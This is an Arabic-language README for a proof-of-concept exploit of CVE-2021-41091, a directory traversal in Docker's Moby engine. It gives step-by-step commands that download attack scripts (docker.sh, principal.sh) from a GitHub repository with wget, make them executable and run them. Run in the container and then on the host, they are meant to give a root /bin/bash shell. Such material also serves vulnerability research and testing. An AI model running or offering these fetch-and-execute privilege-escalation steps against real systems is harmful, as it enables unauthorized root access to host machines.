
إثبات مفهوم (Proof-of-concept) لاستغلال CVE-2021-41091: اجتياز الدليل (directory traversal) في Moby (محرك Docker) الذي يسمح للمستخدمين غير المميزين بتشغيل الملفات الثنائية التي تم تعيين SUID من الحاوية على المضيف. يتضمن نصوصًا برمجية (PoC scripts) لأوبونتو 20.04.
خطأ في Moby (Docker Engine) يسمح للمستخدمين غير المصرح لهم بعبور الدلائل وتنفيذ البرامج مباشرة من الحاوية على الجهاز المضيف؛ إذا كان هناك برنامج suid في الحاوية، يمكن للمستخدم تشغيله كـ suid على الجهاز المضيف.
في محطة الحاوية، نقوم بتنزيل الملف docker.sh، ثم نقوم بتشغيله كمستخدم root:
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh
chmod +x docker.sh
./docker.sh
الآن على الجهاز الرئيسي، نقوم بتنزيل الملف principal.sh وتشغيله:
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/principal.sh
chmod +x principal.sh
./principal.sh
نقوم بتشغيل الأمر الذي سيمنحنا الملف وسنكون قادرين على تشغيل /bin/bash كجذر.
تم اختبار هذه السكربتات على Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) مع إصدار Moby 20.10.5+dfsg1
استخدام هذا المستودع هو مسؤولية من يستخدمه وليس المؤلف.